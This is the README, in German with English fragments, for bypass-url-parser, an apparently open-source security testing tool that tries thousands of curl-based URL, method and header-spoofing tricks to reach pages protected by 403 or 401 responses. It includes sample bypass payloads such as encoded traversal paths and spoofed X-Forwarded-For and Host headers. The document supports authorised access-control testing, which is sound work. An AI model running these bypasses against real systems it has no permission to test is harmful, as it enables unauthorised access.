
Testet hunderte von URL-Bypass-Techniken gegen 40X-geschützte Seiten unter Verwendung von raw curl-Anfragen, mit Multi-Mode-Scanning, Header-Spoofing und JSON/HTML-Ergebnisexport zur Bewertung der Zugriffskontrolle.
Werkzeug, das MANY URL-Bypässe testet, um eine 40X protected page zu erreichen.
Wenn Sie sich fragen, warum dieser Code nothing but a dirty curl wrapper ist, hier ist der Grund:
Dies ist surprisingly hard in Python zu erreichen, ohne alle Vorzüge der Bibliothek wie Parsing, SSL/TLS-Kapselung usw. zu verlieren.
Also, seien Sie wie ich, verwenden Sie , das wird schon gut gehen.
curl as a backendAußerdem kann dieses Tool als Bibliothek verwendet werden, siehe lib_sample_usage.py
Wir empfehlen die Installation mit pipx:```bash
pipx install bypass-url-parser
pipx install git+https://github.com/laluka/bypass-url-parser
Alternativ können Sie `pip` verwenden:```bash
pip install bypass-url-parser
Bypass Url Parser, made with love by @TheLaluka A tool that tests MANY url bypasses to reach a 40X protected page.
Usage: bypass-url-parser (-u | -R ) [-m ] [-o ] [-S ] [ (-H
Program options: -u, --url URL (path is optional) to run bypasses against -R, --request Load HTTP raw request from a file -H, --header
General options: -h, --help Show help, you are here :) -v, --verbose Verbose output -d, --debug Show more details like curl commands generated by this tool -dd, --debug Print Debug level 2 (with all classes debug_class output) -V, --version Show version info
Misc options: --spoofip-replace Disable list of default internal IPs in 'http_headers_ip' bypass mode --spoofport-replace Disable list of default internal ports in 'http_headers_port' bypass mode --request-tls Force usage of TLS/HTTPS for the request load with the '-R, --request' option --dump-payloads Print all payloads (curls) generated by this tool. --jsonl Print results in JSON lines format (pipe command output)
Examples: bypass-url-parser -u "http://127.0.0.1/juicy_403_endpoint/" -s 8.8.8.8 -d bypass-url-parser -u /path/urls -t 30 -T 5 -H "Cookie: me_iz=admin" -H "User-agent: test" bypass-url-parser -R /path/request_file --request-tls -m "mid_paths, end_paths"
## Erwartetes Ergebnis```bash
bypass-url-parser -u http://127.0.0.1:8000/foo/bar
2022-08-09 14:52:40 lalu-perso bup[361559] WARNING Trying to bypass 'http://127.0.0.1:8000/foo/bar' url (3213 payloads)...
2022-08-09 14:52:40 lalu-perso bup[361559] INFO Doing: 50 / 3213
[...]
2022-08-09 14:52:54 lalu-perso bup[361559] INFO Doing: 3200 / 3213
2022-08-09 14:52:54 lalu-perso bup[361559] INFO Retry (1/3) the '16' failed curl commands with 10 threads and 10s timeout
2022-08-09 14:52:54 lalu-perso bup[361559] INFO Retry (2/3) the '16' failed curl commands with 5 threads and 20s timeout
2022-08-09 14:52:54 lalu-perso bup[361559] INFO Retry (3/3) the '16' failed curl commands with 1 threads and 30s timeout
2022-08-09 14:52:55 lalu-perso bup[361559] INFO
[#####] [bypass_method] [payload] => [status_code] [content_type] [content_length] [lines_count] [word_counts] [title] [server] [redirect_url]
[GROUP (1587)] [original_request] [http://127.0.0.1:8000/foo/bar] => [404] [text/html] [469] [14] [95] [Error response] [SimpleHTTP/0.6 Python/3.8.10] []
[GROUP (10)] [http_methods] [-X CONNECT http://127.0.0.1:8000/foo/bar] => [501] [text/html] [500] [14] [96] [Error response] [SimpleHTTP/0.6 Python/3.8.10] []
[SINGLE] [mid_paths] [http://127.0.0.1:8000/???foo/bar] => [200] [text/html] [913] [26] [27] [Directory listing for /???foo/bar] [SimpleHTTP/0.6 Python/3.8.10] []
[SINGLE] [mid_paths] [http://127.0.0.1:8000//???foo/bar] => [301] [] [] [0] [0] [] [SimpleHTTP/0.6 Python/3.8.10] [/???foo/bar]
[SINGLE] [mid_paths] [http://127.0.0.1:8000/??foo/bar] => [200] [text/html] [911] [26] [27] [Directory listing for /??foo/bar] [SimpleHTTP/0.6 Python/3.8.10] []
[SINGLE] [mid_paths] [http://127.0.0.1:8000//??foo/bar] => [301] [] [] [0] [0] [] [SimpleHTTP/0.6 Python/3.8.10] [/??foo/bar]
[SINGLE] [mid_paths] [http://127.0.0.1:8000/?foo/bar] => [200] [text/html] [909] [26] [27] [Directory listing for /?foo/bar] [SimpleHTTP/0.6 Python/3.8.10] []
[SINGLE] [mid_paths] [http://127.0.0.1:8000//?foo/bar] => [301] [] [] [0] [0] [] [SimpleHTTP/0.6 Python/3.8.10] [/?foo/bar]
[SINGLE] [mid_paths] [http://127.0.0.1:8000///?anythingfoo/bar] => [200] [text/html] [929] [26] [27] [Directory listing for ///?anythingfoo/bar] [SimpleHTTP/0.6 Python/3.8.10] []
[SINGLE] [mid_paths] [http://127.0.0.1:8000////?anythingfoo/bar] => [200] [text/html] [931] [26] [27] [Directory listing for ////?anythingfoo/bar] [SimpleHTTP/0.6 Python/3.8.10] []
[GROUP (2)] [mid_paths] [http://127.0.0.1:8000/#?foo/bar] => [200] [text/html] [893] [26] [27] [Directory listing for /] [SimpleHTTP/0.6 Python/3.8.10] []
[GROUP (2)] [mid_paths] [http://127.0.0.1:8000//#?foo/bar] => [301] [] [] [0] [0] [] [SimpleHTTP/0.6 Python/3.8.10] [/]
sudo apt install -y bat curl virtualenv python3
virtualenv -p python3 .py3 source .py3/bin/activate PDM_BUILD_SCM_VERSION="$(git describe --abbrev=0)-dev" pip install .
python src/bypass_url_parser/init.py -u https://thinkloveshare.com/juicy_403_endpoint/
bypass-url-parser -u https://thinkloveshare.com/juicy_403_endpoint/ cat /tmp/tmpRANDOM-bypass-url-parser/triaged-bypass.json | jq -r '.results[].request_curl_cmd' cat /tmp/tmpRANDOM-bypass-url-parser/triaged-bypass.json | jq -r '.results[].response_data'
### DOCKER```bash
docker run --rm -it -v "$PWD:/host" -w /host ghcr.io/laluka/bypass-url-parser:latest bash -il
# Then bup -h, keep the docker open as the output is saved by default in /tmp
# Or specify the output to the current directory, and consult them later! :)
Bypass_url_parser ermöglicht es, einige Argumente auf verschiedene Weisen zu definieren:
-m, --mode, -s, --spoofip und -p, --spoofport-Argumente können ein Dateiname, eine Zeichenkette, eine kommagetrennte Zeichenkettenliste oder eine Liste sein (wenn Bypasser als Bibliothek verwendet wird);-u, --url-Argumente können ein Dateiname, eine Zeichenkette oder eine Liste sein (wenn Bypasser als Bibliothek verwendet wird);stdin (mit -) wird für alle diese Argumente unterstützt.Wenn Sie beispielsweise mehrere Ziel-URLs (-u, --url) definieren möchten, liefern alle folgenden Befehle das gleiche Ergebnis:```bash
bypass-url-parser -u http://thinkloveshare.com/test
bypass-url-parser -u /path/urls
cat /path/urls | bypass-url-parser -u -
echo 'http://thinkloveshare.com/test' | bypass-url-parser -u -
### Zieldefinition
Ein Ziel muss definiert werden, damit das Tool funktioniert. 2 Optionen:
- `-u, --url`: URL(s), in GET
- `-R, --request`: Request-Datei. Das Protokoll kann nicht aus der Datei erraten werden, daher standardmäßig `http` oder `https`, wenn die Option `--request-tls` vorhanden ist.
### Bypass-Modus
Wenn `-m, --mode` angegeben ist, können Sie den gewünschten Bypass-Modus auswählen, um einen bestimmten Test (oder Tests) auszuführen und die Anzahl der vom Tool gesendeten Anfragen zu reduzieren.
Derzeit werden folgende Bypass-Modi unterstützt:```
all, mid_paths, end_paths, case_substitution, char_encode, http_methods, http_versions, http_headers_method, http_headers_scheme, http_headers_ip, http_headers_port, http_headers_url, user_agent
Beispiel:```bash bypass-url-parser -u /path/urls -m "case_substitution, char_encode, http_headers_scheme"
### Spoofip / Spoofport
Um die IP-Adressen und Ports anzupassen, die bei Bypass-Versuchen verwendet werden, unterstützt das Tool die folgenden Optionen:
- Mit `-s, --spoofip` können Sie einige IP(s) festlegen, die in `ip-spezifische` Header eingefügt werden (`X-Forwarded-For`, `X-Real-Ip`, etc.)
- Mit `-p, --spoofport` können Sie einige Ports festlegen, die in `port-spezifische` Header eingefügt werden (`X-Forwarded-Port`)
Standardmäßig werden diese benutzerdefinierten Einträge zu den internen IP/Port-Listen hinzugefügt. Wenn Sie nur Ihre IP(s)/Port(s) verwenden möchten, können Sie die Argumente `--spoofip-replace` und/oder `--spoofport-replace` nutzen.
Beispiel:```bash
bypass-url-parser -u /path/urls -s /path/custom_ip --spoofip-replace
bypass-url-parser -u /path/urls -p "3000, 9443, 10443"
Mit der Option --jsonl ist es möglich, die Ergebnisse im JSON-Lines-Format auf stdout auszugeben. Die normale Ausgabe und Ergebnisse des Tools werden mit einem Logger auf stderr angezeigt, sodass das JSON-Line-Ausgabeformat an andere Tools weitergeleitet werden kann:```bash
bypass-url-parser -u "https://thinkloveshare.com/juicy_403_endpoint/" -t 20 -S 0 -m case_substitution,char_encode --jsonl | jq
***Hinweise:** Mit `-S 2` oder `-S 3` enthält die JSON-Lines-Ausgabe auch den Pfad und den Namen der gespeicherten HTML-Dateien.*
### Ergebnisse speichern
Standardmäßig speichert das Tool eine Kopie der Ergebnisse im Verzeichnis `/tmp/tmpXXX-bypass-url-parser/`, wenn die Ziel-URL eindeutig ist.
***Hinweise:** Wenn mehrere Ziel-URLs mit `-u` übergeben werden, werden die Ergebnisse mit der URL als Verzeichnis versehen (`/tmp/tmpXXX-bypass-url-parser/http-target-com-8080-api-users/`).*
Es gibt zwei Argumente, um dieses Verhalten anzupassen:
- `-o, --outdir` zum Festlegen eines benutzerdefinierten Ausgabeverzeichnisses
- `-S, --save-level` zum Auswählen einer Speicherstufe
Die Speicherstufen sind:
- `0` (NONE): Ausgabe speichern und Erstellung des Ausgabeverzeichnisses deaktivieren;
- `1` (MINIMAL): Nur die Programm-Logdatei mit den Ergebnissen speichern: `triaged-bypass.log`;
- `2` (PERTINENT): Die Programm-Logdatei `triaged-bypass.log` und **relevante (Ergebnis-)** curl-Antworten in der Datei `triaged-bypass.json` und separate HTML-Dateien speichern (Standard);
- `3` (FULL): Die Programm-Logdatei `triaged-bypass.log` und **alle** curl-Antworten in der Datei `triaged-bypass.json` und separate HTML-Dateien speichern.
#### Beispiel```bash
bypass-url-parser -S 0
bypass-url-parser -S 1 -o /tmp/bypass-res
bypass-url-parser -S 2 -o /tmp/bypass-res2 -H "User-Agent: curl 7.74.0" -u http://thinkloveshare.com/juicy_403_endpoint/
tree /tmp/bypass-res2/
├── bypass-2469eecf6c38b5817d2248e911ad4382.html
├── bypass-6f7cce7caf0a0a4b440859fa189d496d.html
├── bypass-80f4ab5d32b4e74c20630c7e67f2e42f.html
├── bypass-93079abffe63d34f79ac4a511cd6b5e6.html
├── bypass-945822230d58d1ad4680d5dfbc470ecb.html
├── bypass-e6118c315eea0e5b2ebc4fcafe0559c0.html
├── triaged-bypass.json
└── triaged-bypass.log
0 directories, 8 files
Ab dem MINIMAL-Level werden die vom Programm angezeigten Ergebnisse in der Datei triaged-bypass.log gespeichert.
Mit den Speicher-Leveln PERTINENT und FULL exportiert das Programm zusätzlich alle Ergebnisse in die Datei triaged-bypass.json:```json
{
"url": "http://thinkloveshare.com/juicy_403_endpoint/",
"bypass_modes": "all",
"results": [
{
"request_curl_cmd": "/usr/bin/curl -sS -kgi -H 'User-Agent: curl 7.74.0' --path-as-is -H 'X-BlueCoat-Via: localhos[...SNIP...]",
"request_curl_payload": "-H X-BlueCoat-Via: localhost http://thinkloveshare.com/juicy_403_endpoint/",
"response_headers": "HTTP/1.1 301 Moved Permanently\nConnection: keep-alive\nContent-Length: 162\nServer: GitHub.c[...SNIP...]",
"response_data": "\n301 Moved Permanently\n\n
Damit sie mit `jq` einfacher zu handhaben sind:```bash
$ jq -r '.results[] | [.request_curl_payload, .response_status_code, .response_content_type, .response_content_length] | join("|")' /tmp/bypass-res2/triaged-bypass.json
-H X-BlueCoat-Via: localhost http://thinkloveshare.com/juicy_403_endpoint/|301|text/html|162
-X PROPFIND http://thinkloveshare.com/juicy_403_endpoint/|405||131
http://thinkloveshare.com/%3b%2f%2e%2e%2f%2e%2e%2f%2fjuicy_403_endpoint/|400|text/html|9121
-H Host: 8.8.8.8 http://thinkloveshare.com/juicy_403_endpoint/|404|text/html|9115
-X CONNECT http://thinkloveshare.com/juicy_403_endpoint/|400|text/plain|15
http://thinkloveshare.com/juicy_403_endpoint/°//|400|text/html|90
Mit den Speicherstufen PERTINENT und FULL werden curl-Befehle und vollständige HTTP-Antworten ebenfalls in pseudo .html-Dateien gespeichert:```bash
$ echo /tmp/bypass-res2/*.html | xargs batcat
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: /tmp/bypass-res2/bypass-2469eecf6c38b5817d2248e911ad4382.html
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ /usr/bin/curl -sS -kgi -H 'User-Agent: curl 7.74.0' --path-as-is 'http://thinkloveshare.com/juicy_403_endpoint/°//'
2 │
3 │ HTTP/1.1 400 Bad request
4 │ Connection: keep-alive
5 │ Content-Length: 90
6 │ Cache-Control: no-cache
7 │ Content-Type: text/html
8 │ Accept-Ranges: bytes
9 │ Date: Tue, 25 Apr 2023 23:51:38 GMT
10 │ Via: 1.1 varnish
11 │ X-Served-By: cache-par-lfpg1960025-PAR
12 │ X-Cache: MISS
13 │ X-Cache-Hits: 0
14 │ X-Timer: S1682466698.230664,VS0,VE10
15 │ Vary: Accept-Encoding
16 │ X-Fastly-Request-ID: b6bbb82302420db4f101a316dca39cc283a4fd44
17 │
18 │
## Mitwirkende
- Erstveröffentlichung von [@TheLaluka](https://twitter.com/TheLaluka)
- Großes Refactoring & Bibliotheksmodus mit Dank an [@jtop_fap](https://twitter.com/jtop_fap)
- Unterstützung für `Docker` & `Pypi`-Builds durch die freundliche Arbeit von [@DugnyG](https://twitter.com/DugnyG)
## Lizenz
Copyright (C) 2022 Laluka
Dieses Programm ist freie Software: Sie können es unter den Bedingungen der GNU Affero General Public License, wie von der Free Software Foundation veröffentlicht, entweder Version 3 der Lizenz oder (nach Ihrer Wahl) jeder späteren Version weitergeben und/oder modifizieren.
Dieses Programm wird in der Hoffnung verbreitet, dass es nützlich sein wird, jedoch OHNE JEGLICHE GARANTIE; selbst ohne die implizite Garantie der MARKTGÄNGIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK. Weitere Details finden Sie in der GNU Affero General Public License.
Sie sollten eine Kopie der GNU Affero General Public License zusammen mit diesem Programm erhalten haben. Falls nicht, siehe <https://www.gnu.org/licenses/>.